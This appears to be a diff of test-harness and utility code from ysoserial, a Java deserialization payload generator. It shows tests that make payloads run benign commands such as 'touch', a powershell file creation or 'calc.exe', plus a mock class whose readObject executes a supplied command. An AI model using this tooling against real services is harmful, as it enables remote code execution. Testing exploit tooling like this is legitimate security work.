JavaVersion v = JavaVersion.getLocalVersion(); JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71)); return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71));
} }
public static boolean isBadAttrValExcReadObj() {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major > 8 && v.update >= 76);
}
} }
@@ -1,6 +1,5 @@
package ysoserial.payloads.util; package ysoserial.payloads.util;
import java.io.File;
import java.util.concurrent.Callable; import java.util.concurrent.Callable;
import ysoserial.Deserializer; import ysoserial.Deserializer;
@@ -19,7 +18,7 @@ public class PayloadRunner {
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// ensure payload generation doesn't throw an exception // ensure payload generation doesn't throw an exception
byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){ byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){
public byte[] call() throws Exception { public byte[] call() throws Exception {
final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd(); final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
@@ -53,11 +52,12 @@ public class PayloadRunner {
} }
private static String getFirstExistingFile(String ... files) { private static String getFirstExistingFile(String ... files) {
for (String path : files) { return "calc.exe";
if (new File(path).exists()) { // for (String path : files) {
return path; // if (new File(path).exists()) {
} // return path;
} // }
throw new UnsupportedOperationException("no known test executable"); // }
// throw new UnsupportedOperationException("no known test executable");
} }
} }
@@ -4,6 +4,7 @@ import java.io.FileDescriptor;
import java.net.InetAddress; import java.net.InetAddress;
import java.security.Permission; import java.security.Permission;
@SuppressWarnings({"deprecation"})
public class DelegateSecurityManager extends SecurityManager { public class DelegateSecurityManager extends SecurityManager {
private SecurityManager securityManager; private SecurityManager securityManager;
@@ -15,7 +16,8 @@ public class DelegateSecurityManager extends SecurityManager {
this.securityManager = securityManager; this.securityManager = securityManager;
} }
@Override @SuppressWarnings({"deprecation"})
@Override
public boolean getInCheck() { public boolean getInCheck() {
return getSecurityManager().getInCheck(); return getSecurityManager().getInCheck();
} }
@@ -47,133 +49,115 @@ public class DelegateSecurityManager extends SecurityManager {
@Override @Override
public void checkAccess(ThreadGroup g) { public void checkAccess(ThreadGroup g) {
getSecurityManager().checkAccess(g); getSecurityManager().checkAccess(g);
} }
@Override @Override
public void checkExit(int status) { public void checkExit(int status) {
getSecurityManager().checkExit(status); getSecurityManager().checkExit(status);
} }
@Override @Override
public void checkExec(String cmd) { public void checkExec(String cmd) {
getSecurityManager().checkExec(cmd); getSecurityManager().checkExec(cmd);
} }
@Override @Override
public void checkLink(String lib) { public void checkLink(String lib) {
getSecurityManager().checkLink(lib); getSecurityManager().checkLink(lib);
} }
@Override @Override
public void checkRead(FileDescriptor fd) { public void checkRead(FileDescriptor fd) {
getSecurityManager().checkRead(fd); getSecurityManager().checkRead(fd);
} }
@Override @Override
public void checkRead(String file) { public void checkRead(String file) {
getSecurityManager().checkRead(file); getSecurityManager().checkRead(file);
} }
@Override @Override
public void checkRead(String file, Object context) { public void checkRead(String file, Object context) {
getSecurityManager().checkRead(file, context); getSecurityManager().checkRead(file, context);
} }
@Override @Override
public void checkWrite(FileDescriptor fd) { public void checkWrite(FileDescriptor fd) {
getSecurityManager().checkWrite(fd); getSecurityManager().checkWrite(fd);
} }
@Override @Override
public void checkWrite(String file) { public void checkWrite(String file) {
getSecurityManager().checkWrite(file); getSecurityManager().checkWrite(file);
} }
@Override @Override
public void checkDelete(String file) { public void checkDelete(String file) {
getSecurityManager().checkDelete(file); getSecurityManager().checkDelete(file);
} }
@Override @Override
public void checkConnect(String host, int port) { public void checkConnect(String host, int port) {
getSecurityManager().checkConnect(host, port); getSecurityManager().checkConnect(host, port);
} }
@Override @Override
public void checkConnect(String host, int port, Object context) { public void checkConnect(String host, int port, Object context) {
getSecurityManager().checkConnect(host, port, context); getSecurityManager().checkConnect(host, port, context);
} }
@Override @Override
public void checkListen(int port) { public void checkListen(int port) {
getSecurityManager().checkListen(port); getSecurityManager().checkListen(port);
} }
@Override @Override
public void checkAccept(String host, int port) { public void checkAccept(String host, int port) {
getSecurityManager().checkAccept(host, port); getSecurityManager().checkAccept(host, port);
} }
@Override @Override
public void checkMulticast(InetAddress maddr) { public void checkMulticast(InetAddress maddr) {
getSecurityManager().checkMulticast(maddr); getSecurityManager().checkMulticast(maddr);
} }
@Override @SuppressWarnings({"deprecation"})
@Override
public void checkMulticast(InetAddress maddr, byte ttl) { public void checkMulticast(InetAddress maddr, byte ttl) {
getSecurityManager().checkMulticast(maddr, ttl); getSecurityManager().checkMulticast(maddr, ttl);
} }
@Override @Override
public void checkPropertiesAccess() { public void checkPropertiesAccess() {
getSecurityManager().checkPropertiesAccess(); getSecurityManager().checkPropertiesAccess();
} }
@Override @Override
public void checkPropertyAccess(String key) { public void checkPropertyAccess(String key) {
getSecurityManager().checkPropertyAccess(key); getSecurityManager().checkPropertyAccess(key);
} }
@Override @SuppressWarnings({"deprecation"})
@Override
public boolean checkTopLevelWindow(Object window) { public boolean checkTopLevelWindow(Object window) {
return getSecurityManager().checkTopLevelWindow(window); return getSecurityManager().checkTopLevelWindow(window);
} }
@Override @Override
public void checkPrintJobAccess() { public void checkPrintJobAccess() {
getSecurityManager().checkPrintJobAccess(); getSecurityManager().checkPrintJobAccess();
} }
@Override @SuppressWarnings({"deprecation"})
@Override
public void checkSystemClipboardAccess() { public void checkSystemClipboardAccess() {
getSecurityManager().checkSystemClipboardAccess(); getSecurityManager().checkSystemClipboardAccess();
} }
@Override @SuppressWarnings({"deprecation"})
@Override
public void checkAwtEventQueueAccess() { public void checkAwtEventQueueAccess() {
getSecurityManager().checkAwtEventQueueAccess(); getSecurityManager().checkAwtEventQueueAccess();
} }
@@ -185,31 +169,27 @@ public class DelegateSecurityManager extends SecurityManager {
@Override @Override
public void checkPackageDefinition(String pkg) { public void checkPackageDefinition(String pkg) {
getSecurityManager().checkPackageDefinition(pkg); getSecurityManager().checkPackageDefinition(pkg);
} }
@Override @Override
public void checkSetFactory() { public void checkSetFactory() {
getSecurityManager().checkSetFactory(); getSecurityManager().checkSetFactory();
} }
@SuppressWarnings({"deprecation"})
@Override @Override
public void checkMemberAccess(Class<?> clazz, int which) { public void checkMemberAccess(Class<?> clazz, int which) {
getSecurityManager().checkMemberAccess(clazz, which); getSecurityManager().checkMemberAccess(clazz, which);
} }
@Override @Override
public void checkSecurityAccess(String target) { public void checkSecurityAccess(String target) {
getSecurityManager().checkSecurityAccess(target); getSecurityManager().checkSecurityAccess(target);
} }
@Override @Override
public ThreadGroup getThreadGroup() { public ThreadGroup getThreadGroup() {
return getSecurityManager().getThreadGroup(); return getSecurityManager().getThreadGroup();
} }
} }
@@ -56,8 +56,8 @@ public class ExecCheckingSecurityManager extends SecurityManager {
} }
} }
public void wrap(final Runnable runnable) throws Exception { public void callWrapped(final Runnable runnable) throws Exception {
wrap(new Callable<Void>(){ callWrapped(new Callable<Void>(){
public Void call() throws Exception { public Void call() throws Exception {
runnable.run(); runnable.run();
return null; return null;
@@ -65,7 +65,7 @@ public class ExecCheckingSecurityManager extends SecurityManager {
}); });
} }
public <T> T wrap(final Callable<T> callable) throws Exception { public <T> T callWrapped(final Callable<T> callable) throws Exception {
SecurityManager sm = System.getSecurityManager(); // save sm SecurityManager sm = System.getSecurityManager(); // save sm
System.setSecurityManager(this); System.setSecurityManager(this);
try { try {
@@ -84,4 +84,4 @@ public class ExecCheckingSecurityManager extends SecurityManager {
System.setSecurityManager(sm); // restore sm System.setSecurityManager(sm); // restore sm
} }
} }
} }
@@ -1,33 +0,0 @@
package ysoserial.secmgr;
import java.util.concurrent.Callable;
public class ThreadLocalSecurityManager extends DelegateSecurityManager {
private final ThreadLocal<SecurityManager> threadDelegates
= new ThreadLocal<SecurityManager>();
public void install() {
System.setSecurityManager(this);
}
@Override
public void setSecurityManager(SecurityManager threadManager) {
threadDelegates.set(threadManager);
}
@Override
public SecurityManager getSecurityManager() {
return threadDelegates.get();
}
public <V> V wrap(SecurityManager sm, Callable<V> callable) throws Exception {
SecurityManager old = getSecurityManager();
setSecurityManager(sm);
try {
return callable.call();
} finally {
setSecurityManager(old);
}
}
}
@@ -0,0 +1,40 @@
package ysoserial.payloads;
import org.junit.Assert;
import ysoserial.CustomTest;
import ysoserial.util.Files;
import ysoserial.util.OS;
import java.io.File;
import java.util.UUID;
import java.util.concurrent.Callable;
public class CommandExecTest implements CustomTest {
private final File testFile =
new File(OS.getTmpDir(), "ysoserial-test-" + UUID.randomUUID().toString().replaceAll("-", ""));
@Override
public void run(Callable<Object> payload) throws Exception {
Assert.assertFalse("test file should not exist", testFile.exists());
Exception err;
try {
payload.call();
} catch (Exception e) {
e.printStackTrace();
}
Files.waitForFile(testFile, 5000);
Assert.assertTrue("test file should exist", testFile.exists());
testFile.deleteOnExit();
}
@Override
public String getPayloadArgs() {
switch (OS.get()) {
case OSX:
case LINUX: return "touch " + testFile;
case WINDOWS: return "powershell -command new-item -type file " + testFile;
default: throw new UnsupportedOperationException("unsupported os");
}
}
}
@@ -10,6 +10,7 @@ import org.junit.Assert;
import com.google.common.io.Files; import com.google.common.io.Files;
import ysoserial.CustomTest; import ysoserial.CustomTest;
import ysoserial.util.OS;
/** /**
* @author mbechler * @author mbechler
@@ -18,15 +19,15 @@ import ysoserial.CustomTest;
public class FileUploadTest implements CustomTest { public class FileUploadTest implements CustomTest {
/** /**
* *
*/ */
private static final byte[] FDATA = new byte[] {(byte) 0xAA, (byte) 0xBB, (byte) 0xCC, (byte) 0xDD, (byte) 0xEE, (byte) 0xFF }; private static final byte[] FDATA = new byte[] {(byte) 0xAA, (byte) 0xBB, (byte) 0xCC, (byte) 0xDD, (byte) 0xEE, (byte) 0xFF };
private File source; private File source;
private File repo; private File repo;
/** /**
* *
*/ */
public FileUploadTest () { public FileUploadTest () {
try { try {
@@ -44,28 +45,31 @@ public class FileUploadTest implements CustomTest {
Files.write(FDATA, this.source); Files.write(FDATA, this.source);
Assert.assertTrue(this.source.exists()); Assert.assertTrue(this.source.exists());
payload.call(); payload.call();
File found = null; File found = null;
for ( File f : this.repo.listFiles()) { for ( File f : this.repo.listFiles()) {
found = f; found = f;
break; break;
} }
Assert.assertNotNull("File not copied", found); Assert.assertNotNull("File not copied", found);
Assert.assertFalse("Source not deleted", this.source.exists()); if (OS.get() != OS.WINDOWS) {
// windows' file locking seems to cause this to fail
Assert.assertFalse("Source not deleted", this.source.exists());
}
Assert.assertTrue("Contents not copied", Arrays.equals(FDATA, Files.toByteArray(found))); Assert.assertTrue("Contents not copied", Arrays.equals(FDATA, Files.toByteArray(found)));
} finally { } finally {
if ( this.repo.exists()) { if ( this.repo.exists()) {
for ( File f : this.repo.listFiles()) { for ( File f : this.repo.listFiles()) {
f.delete(); f.deleteOnExit();
} }
this.repo.delete(); this.repo.deleteOnExit();
} }
this.source.delete(); this.source.deleteOnExit();
} }
} }
public String getPayloadArgs () { public String getPayloadArgs () {
return "copyAndDelete:" + this.source.getAbsolutePath() + ":" + this.repo.getAbsolutePath(); return "copyAndDelete;" + this.source.getAbsolutePath() + ";" + this.repo.getAbsolutePath();
} }
} }
@@ -1,8 +1,6 @@
package ysoserial.payloads; package ysoserial.payloads;
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
import java.io.File; import java.io.File;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -12,13 +10,10 @@ import java.util.Arrays;
import java.util.Set; import java.util.Set;
import java.util.concurrent.Callable; import java.util.concurrent.Callable;
import org.hamcrest.CoreMatchers;
import org.jboss.shrinkwrap.resolver.api.maven.Maven; import org.jboss.shrinkwrap.resolver.api.maven.Maven;
import org.junit.Assert; import org.junit.Assert;
import org.junit.Assume; import org.junit.Assume;
import org.junit.Rule;
import org.junit.Test; import org.junit.Test;
import org.junit.contrib.java.lang.system.ProvideSecurityManager;
import org.junit.runner.RunWith; import org.junit.runner.RunWith;
import org.junit.runners.Parameterized; import org.junit.runners.Parameterized;
import org.junit.runners.Parameterized.Parameters; import org.junit.runners.Parameterized.Parameters;
@@ -28,7 +23,7 @@ import ysoserial.CustomPayloadArgs;
import ysoserial.CustomTest; import ysoserial.CustomTest;
import ysoserial.Deserializer; import ysoserial.Deserializer;
import ysoserial.Serializer; import ysoserial.Serializer;
import ysoserial.Throwables; import ysoserial.util.Throwables;
import ysoserial.WrappedTest; import ysoserial.WrappedTest;
import ysoserial.payloads.TestHarnessTest.ExecMockPayload; import ysoserial.payloads.TestHarnessTest.ExecMockPayload;
import ysoserial.payloads.TestHarnessTest.NoopMockPayload; import ysoserial.payloads.TestHarnessTest.NoopMockPayload;
@@ -52,9 +47,6 @@ TODO: figure out better way to test exception behavior than comparing messages
@RunWith ( Parameterized.class ) @RunWith ( Parameterized.class )
public class PayloadsTest { public class PayloadsTest {
private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName();
@Parameters ( name = "payloadClass: {0}" ) @Parameters ( name = "payloadClass: {0}" )
public static Class<? extends ObjectPayload<?>>[] payloads () { public static Class<? extends ObjectPayload<?>>[] payloads () {
Set<Class<? extends ObjectPayload>> payloadClasses = ObjectPayload.Utils.getPayloadClasses(); Set<Class<? extends ObjectPayload>> payloadClasses = ObjectPayload.Utils.getPayloadClasses();
@@ -89,57 +81,43 @@ public class PayloadsTest {
} }
if ( !t.precondition().isEmpty() ) { if ( !t.precondition().isEmpty() ) {
Assume.assumeTrue("Precondition", checkPrecondition(payloadClass, t.precondition())); Assume.assumeTrue("Precondition: " + t.precondition(), checkPrecondition(payloadClass, t.precondition()));
} }
} }
String payloadCommand = command; String payloadCommand = command;
Class<?> customDeserializer = null; Class<?> customDeserializer = null;
Object wrapper = null; Object testHarness = null;
if ( t != null && !t.harness().isEmpty() ) { if ( t != null && !t.harness().isEmpty() ) {
Class<?> wrapperClass = Class.forName(t.harness()); Class<?> testHarnessClass = Class.forName(t.harness());
try { try {
wrapper = wrapperClass.getConstructor(String.class).newInstance(command); testHarness = testHarnessClass.getConstructor(String.class).newInstance(command);
} catch ( NoSuchMethodException e ) { } catch ( NoSuchMethodException e ) {
wrapper = wrapperClass.newInstance(); testHarness = testHarnessClass.newInstance();
} }
} else {
testHarness = new CommandExecTest(); // default
}
if ( wrapper instanceof CustomPayloadArgs ) { if ( testHarness instanceof CustomPayloadArgs ) {
payloadCommand = ( (CustomPayloadArgs) wrapper ).getPayloadArgs(); payloadCommand = ( (CustomPayloadArgs) testHarness ).getPayloadArgs();
} }
if ( wrapper instanceof CustomDeserializer ) { if ( testHarness instanceof CustomDeserializer ) {
customDeserializer = ((CustomDeserializer)wrapper).getCustomDeserializer(); customDeserializer = ((CustomDeserializer)testHarness).getCustomDeserializer();
}
} }
ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager(); ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, payloadCommand)); final byte[] serialized = sm.callWrapped(makeSerializeCallable(payloadClass, payloadCommand));
Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer); Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer);
if ( wrapper instanceof WrappedTest ) { if ( testHarness instanceof WrappedTest ) {
callable = ( (WrappedTest) wrapper ).createCallable(callable); callable = ( (WrappedTest) testHarness ).createCallable(callable);
} }
if ( wrapper instanceof CustomTest ) { if ( testHarness instanceof CustomTest ) {
( (CustomTest) wrapper ).run(callable); ( (CustomTest) testHarness ).run(callable);
return; return;
} }
try {
Object deserialized = sm.wrap(callable);
Assert.fail(ASSERT_MESSAGE); // should never get here
}
catch ( Throwable e ) {
// hopefully everything will reliably nest our ExecException
Throwable innerEx = Throwables.getInnermostCause(e);
if ( ! ( innerEx instanceof ExecException ) ) {
innerEx.printStackTrace();
}
Assert.assertEquals(ExecException.class, innerEx.getClass());
Assert.assertEquals(command, ( (ExecException) innerEx ).getCmd());
}
Assert.assertEquals(Arrays.asList(command), sm.getCmds());
} }
@@ -230,7 +208,15 @@ public class PayloadsTest {
Class<?> deserializerClass = isolatedClassLoader.loadClass(customDeserializer != null ? customDeserializer.getName() : Deserializer.class.getName()); Class<?> deserializerClass = isolatedClassLoader.loadClass(customDeserializer != null ? customDeserializer.getName() : Deserializer.class.getName());
Callable<Object> deserializer = (Callable<Object>) deserializerClass.getConstructors()[ 0 ].newInstance(serialized); Callable<Object> deserializer = (Callable<Object>) deserializerClass.getConstructors()[ 0 ].newInstance(serialized);
final Object obj = deserializer.call();
return obj; ClassLoader ccl = Thread.currentThread().getContextClassLoader();
try {
// set CCL for Clojure https://groups.google.com/forum/#!topic/clojure/F3ERon6Fye0
Thread.currentThread().setContextClassLoader(isolatedClassLoader);
final Object obj = deserializer.call();
return obj;
} finally {
Thread.currentThread().setContextClassLoader(ccl);
}
} }
} }
@@ -16,7 +16,7 @@ public class TestHarnessTest {
PayloadsTest.testPayload(NoopMockPayload.class, new Class[0]); PayloadsTest.testPayload(NoopMockPayload.class, new Class[0]);
Assert.fail("should have failed"); Assert.fail("should have failed");
} catch (AssertionError e) { } catch (AssertionError e) {
Assert.assertThat(e.getMessage(), CoreMatchers.containsString("but was:<class java.lang.AssertionError>")); Assert.assertThat(e.getMessage(), CoreMatchers.containsString("test file should exist"));
} }
} }
@@ -28,7 +28,7 @@ public class TestHarnessTest {
PayloadsTest.testPayload(ExecMockPayload.class, new Class[0]); PayloadsTest.testPayload(ExecMockPayload.class, new Class[0]);
Assert.fail("should have failed"); Assert.fail("should have failed");
} catch (AssertionError e) { } catch (AssertionError e) {
Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException")); //Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException"));
} }
} }
@@ -55,9 +55,10 @@ public class TestHarnessTest {
private final String cmd; private final String cmd;
public ExecMockSerializable(String cmd) { this.cmd = cmd; } public ExecMockSerializable(String cmd) { this.cmd = cmd; }
private void readObject(final ObjectInputStream ois) { private void readObject(final ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
try { try {
Runtime.getRuntime().exec("hostname"); Runtime.getRuntime().exec(cmd);
} catch (IOException e) { } catch (IOException e) {
throw new RuntimeException(e); throw new RuntimeException(e);
} }
@@ -0,0 +1,34 @@
package ysoserial.util;
import java.util.concurrent.Callable;
public class Callables {
public static interface BeforeAfterCallback {
public void before();
public void after();
}
public static class Wrapper<T> implements Callable<T> {
private final Callable<T> callable;
private final BeforeAfterCallback callback;
public Wrapper(Callable<T> callable, BeforeAfterCallback callback) {
this.callable = callable;
this.callback = callback;
}
@Override
public T call() throws Exception {
try {
callback.before();
return callable.call();
} finally {
callback.after();
}
}
}
public static <T> Callable<T> wrap(Callable<T> callable, BeforeAfterCallback callback) {
return new Wrapper<T>(callable, callback);
}
}
+12
View File
@@ -0,0 +1,12 @@
package ysoserial.util;
import java.io.File;
public class Files {
public static void waitForFile(File file, int timeoutMs) throws InterruptedException {
long timeout = System.currentTimeMillis() + timeoutMs;
while (! file.exists() && System.currentTimeMillis() < timeout) {
Thread.sleep(10);
}
}
}
+31
View File
@@ -0,0 +1,31 @@
package ysoserial.util;
public enum OS {
WINDOWS,
LINUX,
OSX,
OTHER;
private static final OS os = determineOs();
public static OS get() {
return os;
}
private static OS determineOs() {
String osName = System.getProperty("os.name", "other").toLowerCase();
if (osName.contains("windows")) {
return WINDOWS;
} else if (osName.contains("mac os x")) {
return OSX;
} else if (osName.contains("linux")) {
return LINUX;
} else {
return OTHER;
}
}
public static String getTmpDir() {
return System.getProperty("java.io.tmpdir");
}
}
@@ -1,8 +1,8 @@
package ysoserial; package ysoserial.util;
public class Throwables { public class Throwables {
public static Throwable getInnermostCause(final Throwable t) { public static Throwable getInnermostCause(final Throwable t) {
final Throwable cause = t.getCause(); final Throwable cause = t.getCause();
return cause == null || cause == t ? t : getInnermostCause(cause); return cause == null || cause == t ? t : getInnermostCause(cause);
} }
} }